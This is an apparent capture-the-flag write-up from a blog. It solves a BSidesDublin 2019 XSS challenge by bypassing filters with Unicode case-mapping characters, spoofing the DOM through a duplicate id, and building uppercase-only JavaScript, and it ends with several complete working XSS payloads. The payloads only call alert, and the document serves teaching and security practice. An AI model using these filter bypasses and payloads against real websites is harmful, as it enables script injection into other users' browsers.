Solution for “A Weird XSS Case”

April 1, 2019

This challenge was created for BSidesDublin 2019, the goal was to
trigger an alert using an XSS on the domain https://bsides2019dublin.h4cktheplanet.com/.

Nobody was able to solve it during the event so we decided to keep it online for an extra week to let you play with it.

3 persons managed to solve it during this extra time:

  • XeR
  • @cgvwzq
  • @insertScript

Here is the full solution

When you submit an username some checks are made and a message tells you if the submitted username is l33t or not.

Let’s take a look at the JavaScript code.

String.prototype.capitalize = function() {/* ... */}
const $ = s => document.querySelector(s);
const params = new URLSearchParams(document.location.search) 
const username = params.get("name")
     
function check_name(name){/* ... */}
function hello(name){
  return new Promise(resolve => {
    $("#hello").innerHTML = `Hello ${name.capitalize()}!`
    resolve(name)
  })
}
function checkL33tFactor(name){/* ... */}
function delay_progress(time, steps=100){/* ... */}
function success(){
  $("#result").innerHTML = $("#template").innerText.toUpperCase()
}
function fail(error) {
  const loadBar = $("#load-bar")
  loadBar.classList = "nes-progress is-error"
  loadBar.value = 100
  $("#result").innerHTML = `<center>${error}</center>`
}
if (username){
  $("#chall").classList.remove("hidden")
  $("#rules").classList.add("hidden")
  check_name(username).then(hello)
                      .then(delay_progress(2000))
                      .then(checkL33tFactor)
                      .then(success)
                      .catch(fail)
}

There are 3 different assignments of element.innerHTML in these functions:

  • hello
  • success
  • fail

If we manage to control one of those we should be able to trigger our XSS. But how can we reach them ?

The code looks at location.search and tries to extract the name parameter. (l4-5)
If the parameter is set then it will start a chain of promise ending with success or fail depending if the promises throw or not. (l34-28)

success function

The success function takes the HTML element with id template and adds it as HTML to the div with id result.

There is no user supplied data, so it’s probably not vulnerable.

fail function

The fail function takes an error and display it in the DOM, it uses an insecure innerHTML but all the throw parameters are constant strings, so it should not be vulnerable.

hello function

The hello function takes a name as an argument and displays it as HTML. This is clearly vulnerable if we can control the name content.

To reach the hello function you need to pass through check_name without a throw.

function check_name(name){
       return new Promise((resolve, reject) => {
         // Check min length
         if (name.length < 1)
           throw "Username is too short!"
         // Check max length
         if (name.length > 1337)
           throw "Username is too long!"
         // Check for HTML tag
         if (name.match(/<[a-z]/i))
           throw "Hacking attempt detected!"
         // Check for JS event handler
         if (name.match(/on[a-z]+(s*)=/i))
           throw "Hacking attempt detected!"
         // patch 1
         // f*&%ing xer and his bypass
         if (name.match(/&/))
           throw "Hacking attempt detected!"
         // patch 2
         // <3 xer but please stop
         if (name.match(/\/))
           throw "Hacking attempt detected!"
         resolve(name)
       })
     }

Our name is passed through multiple checks preventing you from using the following:

  • name shorter than 1 or longer than 1337 characters.
  • < followed by any ASCII letters.
  • onevent= where event can be any ASCII letter combination.
  • name containing or & (used by XeR to bypass some part of the challenge)

This looks quite secure as we need at least a tag and an event to create our XSS, but there is a catch. hello doesn’t add name to the HTML but name.capitalize().

capitalize change the first char of a string to uppercase and the following to lowercase.
If we find some characters that are not ASCII but become ASCII when transformed to lowercase we should be able to inject some HTML.

Let’s try to find something like this.

const is_ascii = s => /^[a-z]+$/i.exec(s)
for (let i=0; i < 100000; ++i){
    const c = String.fromCodePoint(i)
    const c_lower = c.toLowerCase()
    if (!is_ascii(c) && is_ascii(c_lower)){
        console.log(`${i} - "${c}".toLowerCase() => "${c_lower}"`)
    }
}
/* output : 
8490 - "K".toLowerCase() => "k"
*/

Bingo!

If we input <K>test</K> as an username we can see our DOM looking like this:

Perfect, we bypassed the HTML tag filter, but is there any event using a k in its name we can use with this tag ? All the events with k in it require some kind of user interaction: onkeyup, onkeydown, onclick ... That means we need to dig more.

We may not be able to inject JavaScript but we can inject some tags. Remember the success function ? It was copying the content of $("#template") to $("#result") with $ = document.querySelector.

When you use querySelector the first tag matching the selector is returned. That means: if we submit ?name=<K id=template>test</K> our tag will be inserted inside #hello which is before the real template and therefore will be returned by querySelector.

success function (again)

To reach the success function we need to go through all promises,

We already looked at check_name and hello, the delay_progress is just displaying some progress bar and forward the name to checkL33tFactor

function checkL33tFactor(name){
  return new Promise(resolve => {
    const _ = Array.from(name).map(c=>c.codePointAt(0)).reduce((d,O,b)=>d^O^b, 1337)
    if (_ !== 1337){
      throw "This username is not l33t at all."
    }
    resolve(name)
  })
}

checkL33tFactor is a simple function, it takes our name and converts it to a value using some kind of hashing function and makes sure the hash is equal to 1337 if not, it throws.

The hashing function can be rewritten like this:

/* From */
function hashl33t(name){
  return Array.from(name).map(c=>c.codePointAt(0)).reduce((d,O,b)=>d^O^b, 1337)
}
/* To */
function hashl33t(name){
  let hash = 1337; // initialize hash to 1337
  for (let idx=0; idx<name.length; idx++){  // iter over our string
    let c_ascii = name.codePointAt(idx) // get ascii value
    hash = hash ^ c_ascii ^ idx // xor the hash with the current char and position in the string
  }
  return hash
}

A simple way to pass this test is to implement the following l33tify function.

// get the hash of our string + "x00"
// xor it with 1337
// return our string + the newly found char
const l33tify = s => s + String.fromCodePoint(hashl33t(s+"x00") ^ 1337)
// > l33tify("Hack the planet") 
// > "Hack the planetZ"

Ok we can now reach success with our controlled input.

let’s try to change the success message.

https://bsides2019dublin.h4cktheplanet.com/?name=<K id=template>Injectiond</K>d

Yay, but we cannot inject an event, or can we ?

Before being copied from #template to #success the template is transformed again but this time with toUpperCase().

Let’s try to run our brute force function again after we replaced toLowerCase by toUpperCase.

const is_ascii = s => /^[a-z]+$/i.exec(s)
for (let i=0; i < 100000; ++i){
    const c = String.fromCodePoint(i)
    const c_upper = c.toUpperCase()
    if (!is_ascii(c) && is_ascii(c_upper)){
        console.log(`${i} - "${c}".toUpperCase() => "${c_upper}"`)
    }
}
/* Output
223 - "ß".toUpperCase() => "SS"
305 - "ı".toUpperCase() => "I"
383 - "ſ".toUpperCase() => "S"
64256 - "ff".toUpperCase() => "FF"
64257 - "fi".toUpperCase() => "FI"
64258 - "fl".toUpperCase() => "FL"
64259 - "ffi".toUpperCase() => "FFI"
64260 - "ffl".toUpperCase() => "FFL"
64261 - "ſt".toUpperCase() => "ST"
64262 - "st".toUpperCase() => "ST"
*/

This are some weird UTF-8 characters, they all convert to ASCII when changed to uppercase, and some of them to multiple ASCII characters! This allow us to use any combination of these character to find a valid event.

As we don’t want to rely on any user interaction we choose the onanimationstart= event. To do so, we need to add some style to the tag and an animation to use. Luckily S is available, so it’s easy to add a style tag with our animation.

Our input look like this: <ı onanimationſtart="alert(1)" style="animation: A"><ſtyle>@keyframes A{}</ſtyle>

This will convert to:

<I ONANIMATIONSTART="ALERT(1)" STYLE="ANIMATION: A"><STYLE>@KEYFRAMES A{}</STYLE>

Now we put everything together:

name=<K id=template><ı onanimationſtart="alert(1)" style="animation: A" ><ſtyle>@keyframes A{}</ſtyle></>

That’s right our JS code is also converted to uppercase. We need to find a way to call alert without using any lowercase.

Uppercase Javascript

In JS there is two way to access the property of an object:

  • object.property
  • object[‘property’]

In JS, you can access the constructor of a given object using the constructor property.

Also the Function constructor is a function that takes a string as a parameter and creates a new function object with this string as source code.

With all those information that mean if we can create arbitrary strings we should be able to do:

let constructor_str = 'constructor'
let code_to_eval = 'alert(1)'
(X=>X)[constructor](code_to_eval)()

But how can we create the constructor and alert(1) string ?

Thankfully JS is not a very secure language and you can use type juggling at your advantage.

/* 
Since you are able to refer to any HTML tag in the DOM by using it's ID as a variable name.
I will add <K id=_>
this means _.toString() == '[object HTMLUnknownElement]'
 */
const c = "(_+[])[5]"           // "[object HTMLUnknownElement]"[5]
const o = "(_+[])[1]"           // "[object HTMLUnknownElement]"[1]
const n = "(_+[])[13]"          // "[object HTMLUnknownElement]"[13]
const s = "((1<1)+[])[3]"       // "false"[3] 
const t = "((1<2)+[])[0]"       // "true"[0]
const r = "((1<2)+[])[1]"       // "true"[1]
const u = "((1<2)+[])[2]"       // "true"[2]
//    c
//    t
//    o
//    r
const a = "((1<1)+[])[1]"       // "false"[1]
const l = "((1<1)+[])[2]"       // "false"[2]
const e = "((1<1)+[])[4]"       // "false"[4]
//    r
//    t
const constructor = [c,o,n,s,t,r,u,c,t,o,r].join("+")
const cmd = [a,l,e,r,t,"'(1)'"].join("+")
const payload = `(X=>X)[${constructor}](cmd)()`
console.log(payload)
// Output
(X=>X)[(_+[])[5]+(_+[])[1]+(_+[])[13]+((1<1)+[])[3]+((1<2)+[])[0]+((1<2)+[])[1]+((1<2)+[])[2]+(_+[])[5]+((1<2)+[])[0]+(_+[])[1]+((1<2)+[])[1]](((1<1)+[])[1]+((1<1)+[])[2]+((1<1)+[])[4]+((1<2)+[])[1]+((1<2)+[])[0]+'(1)')()

Okay, we got everything this time.

After putting everything together, we end with this beautiful payload.

And It works !

Winning solutions

</id=template><ıframe/src=javascript:%2561%256c%2565%2572%2574(1337)>

With a nice bypass of the uppercase JS by abusing JavaScript pseudo URL and double URL encoding

By @insertScript

Link

<İ%20onclicK=alert(1)%20id="_"><İ%20id="template"><ınput%20autofocus%20onfocuſ=%27_[(r=(_%2b"")[[!%2b[]%2b!%2b[]%2b!%2b[]%2b!%2b[]%2b!%2b[]]%2b[]],r)%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2br%2b(_%2b"")[[%2b!%2b[]]%2b[!%2b[]%2b!%2b[]%2b!%2b[]%2b!%2b[]]]]()%27>

This one doesn’t work on Firefox because it handles focus a bit differently than Chrome. Also instead of using Function(payload)() it registers an onclick=alert(1) in the first innerHTML use, and after used _['click']().
This is also way shorter than my solution.

Conclusion

Congratulations to our winners, sadly nobody was able to solve it at BSidesDublin. But don’t worry, we might have new challenges incoming for the next conferences.